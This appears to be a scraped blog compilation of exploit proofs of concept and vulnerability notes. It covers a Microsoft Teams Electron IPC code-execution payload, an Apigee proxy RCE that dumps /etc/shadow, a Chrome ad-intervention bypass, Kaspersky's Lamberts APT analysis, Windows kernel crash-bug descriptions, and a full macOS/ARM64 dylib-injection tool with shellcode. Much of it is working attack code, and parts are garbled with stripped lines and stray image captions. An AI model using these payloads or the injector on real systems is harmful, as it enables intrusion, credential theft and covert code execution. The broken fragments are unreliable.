microsoft teams zero click

cmd = `open /System/Applications/` // change to windows/linux command as required

stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download
this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file

// implement an event handler when files downloaded to trigger payload
this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => { 
        f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand
        // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload
        stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>`
        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL
        this.w =; // URL gets opened, webview gets created with our virtual, downloaded file preload
        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window

Apigee API proxies code exec

Summary: RCE on Apigee API proxies

Steps to reproduce:

1.- open login in with your account

2.- navigate to Develop > API proxies and click “+Proxy” button

3.- select hosted target: – put any name (in this case “rce”) – select “Quick start” radio button and the “Next” button – then “Next” again, and “Next” one more time – – check “prod” checkbox and clic “Create and Deploy” Button – after the deploy, copy the url and clic on “Edit proxy”

4.- select “Develop” tab, then clic the “index.js” file in “Resources > hosted” section, and replace the content of that file with and clic on “Save” and “Save” one more time:

var http = require('http');
const { exec } = require('child_process');
var svr = http.createServer(function(req, resp) {
  resp.setHeader('Content-Type', 'application/json');
    // you can put any linux command in exec function 
    exec('echo "- - - - id - - - -";id; echo ;echo "- cat /etc/shadow - ";cat /etc/shadow' , 
    	(error, stdout, stderr) => {
        	resp.end(stdout + '\npoc by @omespino');
svr.listen(process.env.PORT || 3000, function() {});

adb pull code exec

static bool remote_build_list(SyncConnection& sc, std::vector<copyinfo>* file_list, const std::string& rpath, const std::string& lpath) { std::vector<copyinfo> dirlist; std::vector<copyinfo> linklist; // Add an entry for the current directory to ensure it gets created before pulling its contents. copyinfo ci(android::base::Dirname(lpath), android::base::Dirname(rpath), android::base::Basename(lpath), S_IFDIR); file_list->push_back(ci); // Put the files/dirs in rpath on the lists. auto callback = [&](unsigned mode, uint64_t size, uint64_t time, const char* name) { if (IsDotOrDotDot(name)) { return; } copyinfo ci(lpath, rpath, name, mode); if (S_ISDIR(mode)) { dirlist.push_back(ci); } else if (S_ISLNK(mode)) { linklist.push_back(ci); } else { if (!should_pull_file(ci.mode)) { sc.Warning(“skipping special file ‘%s’ (mode = 0o%o)”, ci.rpath.c_str(), ci.mode); ci.skip = true; } ci.time = time; ci.size = size; file_list->push_back(ci); } }; if (!sync_ls(sc, rpath, callback)) { return false; } // Check each symlink we found to see whether it’s a file or directory. for (copyinfo& link_ci : linklist) { struct stat st; if (!sync_stat_fallback(sc, link_ci.rpath, &st)) { sc.Warning(“stat failed for path %s: %s”, link_ci.rpath.c_str(), strerror(errno)); continue; } if (S_ISDIR(st.st_mode)) { dirlist.emplace_back(std::move(link_ci)); } else { file_list->emplace_back(std::move(link_ci)); } } // Recurse into each directory we found. while (!dirlist.empty()) { copyinfo current = dirlist.back(); dirlist.pop_back(); if (!remote_build_list(sc, file_list, current.rpath, current.lpath)) { return false; } } return true; }

bypass chrome detection mechanism

<html><head><style>* {font-family: 'Helvetica', sans-sarif;}.header {font-size: 1.5rem;font-weight: 700;color: red;}</style></head><body>The frame will now start violating the heavy ad intervention rules, please hold...<p class="header">DO NOT CLICK THIS FRAME!</p><small>Clicking this frame will disable heavy ad intervention on it</small><br/><p>To ensure this is an ad:<ol><li>Open DevTools (Ctrl + Shift + I)</li><li>Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering</li><li>Enable `Highlight ad frames`</li></ol>Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.</p><div id="output"></div><script>// Your heavy ad intervention bypass goes here:// alert("Ad loaded - Insert your script in adunit.html");/*This is a very basic polyfill for window.fetch via a shared worker.This works as a drop-in replacement to window.fetch.It currently doesn't handle well errors or multiple simultaneous requests with the same URL,but it works for demo purposes. More robust implementation can be made fairly easily.To debug shared workers, need to use chrome://inspect/#workersDelegated network requests will only appear in the shared worker's DevTools.*/var resolveResponse = {};var sharedWorker = new SharedWorker('shared-worker.js');sharedWorker.port.onmessage = (event) => {if ( && {'Response:',;var response = new Response(;resolveResponse[](response);delete resolveResponse[]; // Save memory, not strictly needed} else {console.warn('Received unexpected message from shared worker');}};var originalFetch = window.fetch; // For easy behavior comparisonwindow.fetch = (fetchUrl) => {// Uncomment line below to see how PoC works with original fetch// return originalFetch(fetchUrl);return new Promise((resolve, reject) => {resolveResponse[fetchUrl] = resolve;// return resolveResponse[fetchUrl](new Response('Test response')); // For development purposessharedWorker.port.postMessage({ fetchUrl: fetchUrl });});}</script><script defer="" type="text/javascript">// Loop download of a 10MB file to trigger heavy ad intervention's network limitfunction download() {// Removed recursive calling, since single resource load will trigger intervention.// Added output for verification purposes.// Using or same-origin file does not affect behavior// fetch('./big.bin').then(response => {fetch('').then(response => {return response.text();}).then(response => {output.innerText = 'Response: '+response.substr(0,100)+'... (total length: '+response.length+')';// Feel free to test recursive calling if desired.// download();});}download();</script></body></html>


"use strict";const iframe = document.createElement("iframe");iframe.src = "adunit.html"; = "width: 98vw; height: 60vh";document.body.appendChild(iframe);


/* shared-worker.js */// Part of window.fetch polyfill, makes requests on behalf of page.// To debug shared workers, need to use chrome://inspect/#workers// Delegated network requests will only appear in the shared worker's DevTools.self.onconnect = (event) => {var port = event.ports[0];port.onmessage = (event) => {if ( {var fetchUrl =;fetch(fetchUrl).then(response => {response.blob().then(blob => {port.postMessage({ fetchUrl: fetchUrl, fetchResponse: blob });});});} else {console.warn('Must send fetchUrl in message.');}}}


<!-- index.html --><html><head></head><body><p>Hello! This is the main site. </p><p>The ad should be loaded below:</p><script src="gads.js"></script></body></html>

Lamberts Toolkit – kernel injecting trojan was found in the wild by kaspersky (from

post originally taken from here:


Yesterday, our colleagues from Symantec published their analysis of Longhorn, an advanced threat actor that can be easily compared with Regin, ProjectSauron, Equation or Duqu2 in terms of its complexity.

Longhorn, which we internally refer to as “The Lamberts”, first came to the attention of the ITSec community in 2014, when our colleagues from FireEye discovered an attack using a zero day vulnerability (CVE-2014-4148). The attack leveraged malware we called ‘BlackLambert’, which was used to target a high profile organization in Europe.

Since at least 2008, The Lamberts have used multiple sophisticated attack tools against high-profile victims. Their arsenal includes network-driven backdoors, several generations of modular backdoors, harvesting tools, and wipers. Versions for both Windows and OSX are known at this time, with the latest samples created in 2016.

Although the operational security displayed by actors using the Lamberts toolkit is very good, one sample includes a PDB path that points to a project named “Archan~1” (perhaps ‘Archangel’). The root folder on the PDB path is named “Hudson”. This is one of the very few mistakes we’ve seen with this threat actor.

While in most cases the infection vector remains unknown, the high profile attack from 2014 used a very complex Windows TTF zero-day exploit (CVE-2014-4148).

Kaspersky Lab products successfully detect and eradicate all the known malware from the Lamberts family. For more information please contact: intelreports@kasperskycom

An Overview of the Lamberts

Figure 1. Lamberts discovery timeline

The first time the Lambert family malware was uncovered publicly was in October 2014, when FireEye posted a blog about a zero day exploit (CVE-2014-4148) used in the wild. The vulnerability was patched by Microsoft at the same time. We named the malware involved ‘Black Lambert’ and described it thoroughly in a private report, available to Kaspersky APT Intel Reports subscribers.

The authors of Black Lambert included a couple of very interesting details in the sample, which read as the following: toolType=wlbuild=132914versionName = 2.0.0. Looking for similar samples, we were able to identify another generation of related tools which we called White Lambert. While Black Lambert connects directly to its C&C for instructions, White Lambert is a fully passive, network-driven backdoor.

Black Lambert White Lambert
Implant type Active Passive
toolType wl aa (“ArchAngel”)
build 132914 113140
versionName 2.0.0 5.0.2

Internal configuration similarities in Black and White Lambert

White Lambert runs in kernel mode and intercepts network traffic on infected machines. It decrypts packets crafted in a special format to extract instructions. We named these passive backdoors ‘White Lambert’ to contrast with the active “Black Lambert” implants.

Looking further for any other malware related to White Lambert and Black Lambert, we came by another generation of malware that we called Blue Lambert.

One of the Blue Lambert samples is interesting because it appears to have been used as second stage malware in a high profile attack, which involved the Black Lambert malware.

Looking further for malware similar to Blue Lambert, we came by another family of malware we called Green Lambert. Green Lambert is a lighter, more reliable, but older version of Blue Lambert. Interestingly, while most Blue Lambert variants have version numbers in the range of 2.x, Green Lambert is mostly in 3.x versions. This stands in opposition to the data gathered from export timestamps and C&C domain activity that points to Green Lambert being considerably older than the Blue variant. Perhaps both Blue and Green Lamberts have been developed in parallel by two different teams working under the same umbrella, as normal software version iterations, with one seeing earlier deployment than the other.

Signatures created for Green Lambert (Windows) have also triggered on an OS X variant of Green Lambert, with a very low version number: 1.2.0. This was uploaded to a multiscanner service in September 2014. The OS X variant of Green Lambert is in many regards functionally identical to the Windows version, however it misses certain functionality such as running plugins directly in memory.

Kaspersky Lab detections for Blue, Black, and Green Lamberts have been triggered by a relatively small set of victims from around the world. While investigating one of these infections involving White Lambert (network-driven implant) and Blue Lambert (active implant), we found yet another family of tools that appear to be related. We called this new family Pink Lambert.

The Pink Lambert toolset includes a beaconing implant, a USB-harvesting module and a multi-platform orchestrator framework which can be used to create OS-independent malware. Versions of this particular orchestrator were found on other victims, together with White Lambert samples, indicating a close relationship between the White and Pink Lambert malware families.

By looking further for other undetected malware on victims of White Lambert, we found yet another apparently related family. The new family, which we called Gray Lambert is the latest iteration of the passive network tools from the Lamberts’ arsenal. The coding style of Gray Lambert is similar to the Pink Lambert USB-harvesting module, however, the functionality mirrors that of White Lambert. Compared to White Lambert, Gray Lambert runs in user mode, without the need for exploiting a vulnerable signed driver to load arbitrary code on 64-bit Windows variants.

Connecting all these different families by shared code, data formats, C&C servers, and victims, we have arrived at the following overarching picture:

Figure 2. An overview of connections between the Lambert families

The Lamberts in Brief – from Black to Gray

Below, we provide a small summary of all the Lamberts. A full description of all variants is available to subscribers of Kaspersky APT Reports. Contact

Black Lambert

The only known sample of Black Lambert was dropped by a TTF-exploit zero day (CVE-2014-4148). Its internal configuration included a proxy server which suggests the malware was created to work in a very specific network configuration, inside the victim’s network.

An internal description of Black Lambert indicates what appears to be a set of markers used by the attackers to denote this particular branch: toolType=wlbuild=132914versionName = 2.0.0.

Hash Description
683afdef710bf3c96d42e6d9e7275130 generic loader (hdmsvc.exe)
79e263f78e69110c09642bbb30f09ace winlib.dll, final payload (toolType=wl)

Blue Lambert

The Blue Lambert implants contain what appear to be version numbers in the 2.x range, together with project/operation codename sets, which may also indicate codenames for the victims or campaigns.

Unraveling the Lamberts Toolkit

Figure 4. Blue Lambert configuration in decrypted form, highlighting internal codenames


Green Lambert

Green Lambert is a family of tools deeply related to Blue Lambert. The functionality is very similar, both Blue and Green are active implants. The configuration data shares the same style of codenames for victims, operations, or projects.

Unraveling the Lamberts Toolkit

Figure 5. Green Lambert configuration block (decrypted) highlighting internal codenames

The Green Lambert family is the only one where non-Windows variants have been found. An old version of Green Lambert, compiled for OS X was uploaded from Russia to a multiscanner service in 2014. Its internal codename is HO BO (1.2.0).

The Windows versions of Green Lambert have the following code names: BEARD BLUE (2.7.1), GORDON FLASH (3.0), APE ESCAPE (3.0.2), SPOCK LOGICAL (3.0.2), PIZZA ASSAULT (3.0.5), and SNOW BLOWER (3.0.5).

Interestingly, one of the droppers of Green Lambert abused an ICS software package named “Subway Environmental Simulation Program” or “SES”, which has been available on certain forums visited by engineers working with industrial software. Similar techniques have been observed in the past from other threat groups, for instance, trojanized Oracle installers by the Equation group.

White Lambert

White Lambert is a family of tools that share the same internal description as Black Lambert. Known tool types, builds, and version names include:

  • ToolType “aa”, protocol 3, version 7, versionName 5.0.2, build 113140
  • ToolType “aa”, protocol 3, version 7, versionName 5.0.0, build 113140
  • ToolType “aa”, protocol 3, version 6, versionName 4.2.0, build 110836M
  • ToolType “aa”, protocol 3, version 5, versionName 3.2.0

One of the White Lambert samples is interesting because it has a forgotten PDB path inside, which points to “Archan~1l” and “Hudson”. Hudson could point to a project name, if the authors name their projects by rivers in the US, or, it could also be the developer’s first name. The truncated (8.3) path “archan~1” most likely means “Archangel”. The tool type “aa” could also suggest “ArchAngel”. By comparison, the Black Lambert tool type “wl” has no known meaning.

Unraveling the Lamberts Toolkit

White Lambert samples run in kernel mode and sniff network traffic looking for special packets containing instructions to execute. To run unsigned code in kernel mode on 64-bit Windows, White Lambert uses an exploit against a signed, legitimate SiSoftware Sandra driver. The same method was used before by Turla, ProjectSauron, and Equation’s Grayfish, with other known, legitimate drivers.

Pink Lambert

Pink Lambert is a suite of tools initially discovered on a White Lambert victim. It includes a beaconing implant, partially based on publicly available source code. The source code on top of which Pink Lambert’s beaconing implant was created is “A Fully Featured Windows HTTP Wrapper in C++”.

Unraveling the Lamberts Toolkit

Figure 6. “A Fully Featured Windows HTTP Wrapper” by shicheng

Other tools in the Pink Lambert suite include USB stealer modules and a very complex multi-platform orchestrator.

In a second incident, a Pink Lambert orchestrator was found on another White Lambert victim, substantiating the connection between the Pink and White Lamberts.

Gray Lambert

Gray Lambert is the most recent tool in the Lamberts’ arsenal. It is a network-driven backdoor, similar in functionality to White Lambert. Unlike White Lambert, which runs in kernel mode, Gray Lambert is a user-mode implant. The compilation and coding style of Gray Lambert is similar to the Pink Lambert USB stealers. Gray Lambert initially appeared on the computers of victims infected by White Lambert, which could suggest the authors were upgrading White Lambert infections to Gray. This migration activity was last observed in October 2016.

Some of the known filenames for Gray Lambert are mwapi32.dll and poolstr.dll – it should be pointed though that the filenames used by the Lamberts are generally unique and have never been used twice.


Most of the Blue and Green Lambert samples have two C&C servers hardcoded in their configuration block: a hostname and an IP address. Using our own pDNS as well as DomainTools IP history, we plotted the times when the C&C servers were active and pointing to the same IP address as the one from the configuration block.

Unfortunately, this method doesn’t work for all samples, since some of them don’t have a domain for C&C. Additionally, in some cases we couldn’t find any pDNS information for the hostname configured in the malware.

Luckily, the attackers have made a few mistakes, which allow us to identify the activity times for most of the other samples. For instance, in case when no pDNS information was available for a subdomain on top of the main C&C domain, the domain registration dates were sufficient to point out when the activity began. Additionally, in some cases the top domain pointed to the same IP address as the one from the configuration file, allowing us to identify the activity times.

Another worthwhile analysis method focuses on the set of Blue Lambert samples that have exports. Although most compilation timestamps in the PE header appear to have been tampered (to reflect a 2003-2004 range), the authors forgot to alter the timestamps in the export section. This allowed us to identify not just the activity / compilation timestamps, but also the method used for faking the compilation timestamps in the PE header.

It seems the algorithm used to tamper with the samples was the following: subtract 0x10 from the highest byte of timestamp (which amounts to about 8 and half years) and then randomize the lowest 3 bytes. This way we conclude that for Blue Lamberts, that original compilation time of samples was in the range of 2012-2015.

Putting together all the various families, with recovered activity times, we come to the following picture:

Figure 8. A timeline of activity for known Lamberts

As it can be seen from the chart above, Green Lambert is the oldest and longest-running in the family, while Gray is the newest. White, Blue and Pink somehow overlap in deployment, with Blue replacing Green Lambert. Black Lambert was seen only briefly and we assume it was “retired” from the arsenal after being discovered by FireEye in 2014.

win32k system crash bug

this bug is in win32k.sys

you can see an interesting race condition in the win32k driver causing the system to crash.
The bug is in the locking mechanism of in the DirectComposition object.

If you call NtDCompositionDiscardFrame in a loop while calling NtDCompositionDestroyConnection and DiscardAllCompositionFrames in a loop it will cause a crash in the operating system.

How to Fix Blue Screen Of Death (BSOD) on Windows 10 - Easytutorial

Windows 7 kernel stack overflow bug

I played in my fuzzing infrastructure with windows objects. And I found a cool bug type. by creating multiple threads and accessed and destroying windows and threads during the access to the windows and during callback of windows object functions . My Fuzzer accessed and released the window object of thread1 from thread2 or destroy the windows object of thread2 from thread 3 etc.

I Found a stack overflow bug in the windows kernel. that causes the operating system to crash. There is a race in win32k!xxxMoveWindow. if you pass messages between two threads until the stack capacity is at its max, than you close one of the treads it will cause a WM_NCCALCSIZE to be written to the kernel stack of the other thread. This will cause a stack overflow in the kernel.

Windows 7 Desktop Wallpapers - Top Free Windows 7 Desktop Backgrounds -  WallpaperAccess

Transaction Manager Vulnerability In Windows

Set up:
The exploit is triggered by creating a pipe. A read-write named pipe to be exect.
We need to create transaction manager objects, tons of enlistment objects, transaction objects and resource manager objects. The KTM notifies the resource manager about any state change.
The enlistment object connects between resource manager and transaction manager
Then all the changes are committed during the transaction

Corrupting data:
We create four threads and over a single cpu core. first thread calls Another thread calls NtQueryInformationThread in a loop, second thread execute NtRecoverResourceManager in a loop and the third thread calls tons of time to NtQueryInformationResourceManager. Call the function during writefile on the previously created named pipe

Lib Injection code In OSX

taken from :

this is an amazing injction Open Source for OSX


#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <dlfcn.h>
#include <sys/mman.h>

#include <sys/stat.h>
#include <pthread.h>

#ifdef __arm64__
//#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
        vm_map_t target,
        mach_vm_address_t *address,
        mach_vm_size_t size,
        int flags

kern_return_t mach_vm_write
        vm_map_t target_task,
        mach_vm_address_t address,
        vm_offset_t data,
        mach_msg_type_number_t dataCnt

#include <mach/mach_vm.h>

#define STACK_SIZE 65536
#define CODE_SIZE 128

// Due to popular request:
// Simple injector example (and basis of coreruption tool).
// If you've looked into research on injection techniques in OS X, you
// probably know about mach_inject. This tool, part of Dino Dai Zovi's
// excellent "Mac Hacker's Handbook" (a must read - kudos, DDZ) was
// created to inject code in PPC and i386. Since I couldn't find anything
// for x86_64 or ARM, I ended up writing my own tool.

// Since, this tool has exploded in functionality - with many other features,
// including scriptable debugging, fault injection, function hooking, code 
// decryption,  and what not - which comes in *really* handy on iOS.
// coreruption is still closed source, due its highly.. uhm.. useful
// nature. But I'm making this sample free, and I have fully annotated this.
// The rest of the stuff you need is in Chapters 11 and 12 MOXiI 1, with more
// to come in the 2nd Ed ( time for iOS 9 :-)
// Go forth and spread your code :-)
// J ( 02/05/2014
// v2: With ARM64 -  06/02/2015 NOTE - ONLY FOR **ARM64**, NOT ARM32!
// Get the full bundle at -
// with sample dylib and with script to compile this neatly.
// Note ARM code IS messy, and I left the addresses wide apart. That's 
// intentional. Basic ARM64 assembly will enable you to tidy this up and
// make the code more compact. 
// This is *not* meant to be neat - I'm just preparing this for TG's
// upcoming OS X/iOS RE course ( and thought
// this would be interesting to share. See you all in MOXiI 2nd Ed!

// This sample code calls pthread_set_self to promote the injected thread
// to a pthread first - otherwise dlopen and many other calls (which rely
// on pthread_self()) will crash. 
// It then calls dlopen() to load the library specified - which will trigger
// the library's constructor (q.e.d as far as code injection is concerned)
// and sleep for a long time. You can of course replace the sleep with
// another function, such as pthread_exit(), etc.
// (For the constructor, use:
// static void whicheverfunc() __attribute__((constructor));
// in the library you inject)
// Note that the functions are shown here as "_PTHRDSS", "DLOPEN__" and "SLEEP___".
// Reason being, that the above are merely placeholders which will be patched with
// the runtime addresses when code is actually injected.
char injectedCode[] =
#ifdef X86_64

     //"\xcc"                           //  int3   
     "\x90"				// nop..
     "\x55"                           // pushq  %rbp
     "\x48\x89\xe5"                   // movq   %rsp, %rbp
     "\x48\x83\xec\x20"               // subq   $32, %rsp
     "\x89\x7d\xfc"                   // movl   %edi, -4(%rbp)
     "\x48\x89\x75\xf0"               // movq   %rsi, -16(%rbp)
     "\xb0\x00"                                    // movb   $0, %al
     // call pthread_set_self 
     "\x48\xbf\x00\x00\x00\x00\x00\x00\x00\x00"    // movabsq $0, %rdi
     "\x48\xb8" "_PTHRDSS"                           // movabsq $140735540045793, %rax
     "\xff\xd0"                                    //    callq  *%rax
     "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00"    // movabsq $0, %rsi
     "\x48\x8d\x3d\x2c\x00\x00\x00"                // leaq   44(%rip), %rdi
     // DLOpen...
     "\x48\xb8" "DLOPEN__" // movabsq $140735516395848, %rax
     "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00" //  movabsq $0, %rsi
     "\xff\xd0"                       //   callq  *%rax
     // Sleep(1000000)...
     "\x48\xbf\x00\xe4\x0b\x54\x02\x00\x00\x00" //  movabsq $10000000000, %rdi
     "\x48\xb8" "SLEEP___" // movabsq $140735516630165, %rax
     "\xff\xd0"            //              callq  *%rax

     // plenty of space for a full path name here
     "LIBLIBLIBLIB" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

   // That's the ARM64 "shellcode"
   "\x08\x03\x00\x58" // LDR X8, #3 ; load PTHREADSS
   "\x00\x01\x3f\xd6" // BLR X8     ; do pthread_set_self
    "\x00\x01\x00\x10" // ADR X0, #32
   "\x00\x40\x01\x91"  // ADD x0, x0, #0x50  ; X0 => "LIBLIBLIB...";
   "\x08\x03\x00\x58"  // LDR X8, #3 ; load DLOPEN
   "\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
   "\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
   // dlopen("LIBLIBLIB", 0);
   "\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()
   "\xa8\x00\x00\x58"  // LDR X8, #12 ; load PTHREADEXT
   "\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
   "\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit
   "\x00\x00\x20\xd4"  // BRK X0     ; // useful if you need a break :)
    "PTHRDEXT"   // <-
    "_PTHRDSS"  // <-
    "PTHRDEXT"  //
    "DLOPEN__"  // <- 
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
    "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;


int inject(pid_t pid, const char *lib) {

task_t remoteTask;

struct stat buf;

  * First, check we have the library. Otherwise, we won't be able to inject..

  int rc = stat (lib, &buf);

  if (rc != 0)
   fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
   //return (-9);

mach_error_t kr = 0;

  * Second - the critical part - we need task_for_pid in order to get the task port of the target
  * pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're
  * #$%#$%. 
  * In iOS, this will require the task_for_pid-allow entitlement. In OS X, this will require getting past
  * taskgated, but root access suffices for that.
kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {

	fprintf (stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n",pid, mach_error_string(kr));
	return (-1);


 * From here on, it's pretty much straightforward -
 * Allocate stack and code. We don't really care *where* they get allocated. Just that they get allocated.
 * So, first, stack:
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
		fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
		return (-2);

	fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);

 * Then we allocate the memory for the thread
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS)
		fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
		return (-2);

   * Patch code before injecting: That is, insert correct function addresses (and lib name) into placeholders
   * Since we use the same shared library cache as our victim, meaning we can use memory addresses from
   * OUR address space when we inject..

 int i = 0;
 char *possiblePatchLocation = (injectedCode );
 for (i = 0 ; i < 0x100; i++)

	// Patching is crude, but works.
	extern void *_pthread_set_self;

	uint64_t addrOfPthreadSetSelf = dlsym ( RTLD_DEFAULT, "_pthread_set_self"); //(uint64_t) _pthread_set_self;
	uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) _pthread_set_self;
        uint64_t addrOfDlopen = (uint64_t) dlopen;
        uint64_t addrOfSleep = (uint64_t) sleep; // pthread_exit;

	if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
	   memcpy(possiblePatchLocation, &addrOfPthreadExit,8);

	   printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);

	if (memcmp (possiblePatchLocation, "_PTHRDSS", 8) == 0)
	   memcpy(possiblePatchLocation, &addrOfPthreadSetSelf,8);

	   printf ("Pthread set self @%llx\n", addrOfPthreadSetSelf);

	if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
	   printf ("DLOpen @%llx\n", addrOfDlopen);
	   memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));


	if (memcmp(possiblePatchLocation, "SLEEP___", 6) == 0)
	   printf ("Sleep @%llx\n", addrOfSleep);
	   memcpy(possiblePatchLocation, &addrOfSleep, sizeof(uint64_t));


	if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)

	   strcpy(possiblePatchLocation, lib );



  	  * Write the (now patched) code
	kr = mach_vm_write(remoteTask,                   // Task port
	                   remoteCode64,                 // Virtual Address (Destination)
	                   (vm_address_t) injectedCode,  // Source
	                    0xa9);                       // Length of the source

       if (kr != KERN_SUCCESS)
		fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
		return (-3);

	 * Mark code as executable - This also requires a workaround on iOS, btw.
        kr  = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

   	 * Mark stack as writable  - not really necessary 

        kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

        if (kr != KERN_SUCCESS)
		fprintf(stderr,"Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr));
		return (-4);

 	  * Create thread - This is obviously hardware specific.  

#ifdef X86_64
        x86_thread_state64_t remoteThreadState64;
	// Using unified thread state for backporting to ARMv7, if anyone's interested..
	struct arm_unified_thread_state remoteThreadState64;
        thread_act_t         remoteThread;

        memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

        remoteStack64 += (STACK_SIZE / 2); // this is the real stack
	//remoteStack64 -= 8;  // need alignment of 16

        const char* p = (const char*) remoteCode64;
#ifdef X86_64
        remoteThreadState64.__rip = (u_int64_t) (vm_address_t) remoteCode64;

        // set remote Stack Pointer
        remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
        remoteThreadState64.__rbp = (u_int64_t) remoteStack64;

	// Note the similarity - all we change are a couple of regs.
	remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
	remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
	remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
	remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
// __uint64_t    __x[29];  /* General purpose registers x0-x28 */

	printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );

	 * create thread and launch it in one go
#ifdef X86_64
kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
(thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread );
#else // __arm64__
kr = thread_create_running( remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );


if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
			  return (-3); }

return (0);

} // end injection code

int main(int argc, const char * argv[])
 if (argc < 3)
		fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
		fprintf (stderr, "   _action_: path to a dylib on disk\n");

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
	fprintf(stderr,"Dylib not found\n");


#if 0

tatic void con() __attribute__((constructor));

void con() {

    printf("I'm a constructor\n");